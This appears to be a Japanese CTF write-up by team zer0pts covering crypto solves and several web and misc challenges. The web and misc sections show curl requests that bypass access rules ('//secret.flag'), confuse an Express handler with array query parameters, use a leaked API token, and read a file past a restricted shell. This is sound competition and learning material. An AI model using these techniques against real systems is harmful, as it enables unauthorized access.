5/8 - 5/10の日程で開催された。zer0ptsで参加して1位🎉Discordサーバがスコアサーバという不思議なCTFだった。
[Crypto] Case64AR
問題名からシーザー暗号 + Base64と推測できる。シーザー暗号で回すのは暗号文の方ではなく、Base64のテーブルの方。
import string
import base64
s = 'OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv'
table = string.ascii_uppercase
table += string.ascii_lowercase
table += string.digits
table += '+/'
for i in range(64):
tr = str.maketrans(table, table[i:] + table[:i])
print(base64.b64decode(s.translate(tr)))
[Crypto] A Prime Hash Candidate
実装が面倒になったらZ3。
from z3 import *
def hash(data):
out = 0
for c in data:
out *= 31
out += c
return out
password = [Int('password_%d' % i) for i in range(17)]
solver = Solver()
for c in password:
solver.add(ord(' ') <= c, c <= ord('~'))
solver.add(hash(password) == 59784015375233083673486266)
r = solver.check()
m = solver.model()
print(''.join(chr(m[c].as_long()) for c in password))
[Crypto] Lost in Transmission
flag.dat
の全てのバイトが偶数でほとんどのバイトが0x80を超えているあたりから、フラグの各文字の文字コードが2倍されているのだなあとエスパーできる。
print(''.join(chr(c // 2) for c in s))
minifyされたコードを頑張って読んでいくと、/api/status?verbose=
というAPIエンドポイントがあること、yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ
がなんらかのトークンとして使えることがわかる。
/api/status?verbose=abc
で /status
のほかにもAPIエンドポイントがあることがわかる。
{"status":"health","longStatus":"Healthy. All routes are functioning properly.","version":"1.0.0","routes":[{"path":"/status","status":"healthy"},{"path":"/rocketLaunch","status":"healthy"},{"path":"/fuel","status":"healthy"}]}
/rocketLaunch
が怪しい。エラーメッセージなどから頑張ってAPIの使い方を探っていく。
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{}'
rocket not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":""}'
rocket not recognized (available: triton)
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton"}'
launchTime not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":""}'
launchTime not in hh:mm format
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"00:00"}'
launchTime unapproved
$ for m in {0..60}; do echo -en "$m: "; curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:'$(printf "%02d" $m)'"}'; echo; done
0: fuel pumpID not specified
1: launchTime unapproved
2: launchTime unapproved
3: launchTime unapproved
4: launchTime unapproved
5: launchTime unapproved
6: launchTime unapproved
7: launchTime unapproved
8: launchTime unapproved
9: launchTime unapproved
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4}'
frontend authorization token not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4,"token":"yiLYDykacWp9sgPMluQeKkANeRFXyU3Zux
Brj2BQ"}'
rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}
[Web] GETS Request
/prime?n[toString]=12
で以下のようなエラーが出ることから、Node.js + Expressが使われていることがわかる。
TypeError: Cannot convert object to primitive value
at /app/index.js:26:33
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
at next (/app/node_modules/express/lib/router/index.js:275:10)
at expressInit (/app/node_modules/express/lib/middleware/init.js:40:5)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
ということは ?n[]=…
で文字列と配列を混同させることができるのではないか。適当にいじっていたらフラグが得られた。
$ curl -g "https://gets.sdc.tf/prime?n[]=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}
[Web] Git Good
問題名からGitネタだなあと推測できる。rip-git.plで /.git
をダウンロードして objects/
下のファイルを展開していくと、/secret.flag
にフラグがあることがわかる。
app.all('/users.db', (req, res) => res.sendStatus(403))
app.all('/secret.flag', (req, res) => res.sendStatus(403))
app.all('/app.js', (req, res) => res.sendStatus(403))
app.use(express.static('.'))
/secret.flag
は弾かれるが、//secret.flag
は通った。
$ curl --path-as-is "https://cgau.sdc.tf//secret.flag"
sdctf{1298754_Y0U_G07_g00D!}
[Misc] No flag for you
使えるコマンドは制限されているが、echo opt/*
が ls opt/
の、echo $(<filename)
が cat filename
の代わりになることを使えばフラグが得られる。
$ nc noflag.sdc.tf 1337
There is no flag here.
rbash$ ls
README
bin
opt
rbash$ cat README
Hahahahahaha!
Welcome to the most restrictive shell ever. Don't even try to escape this.
rbash$ echo opt/*
opt/flag-b01d7291b94feefa35e6.txt
rbash$ cat opt/flag-b01d7291b94feefa35e6.txt
No flag for you!
rbash$ echo $(<opt/flag-b01d7291b94feefa35e6.txt)
sdctf{1t'5_7h3_sh3ll_1n_4_shEll}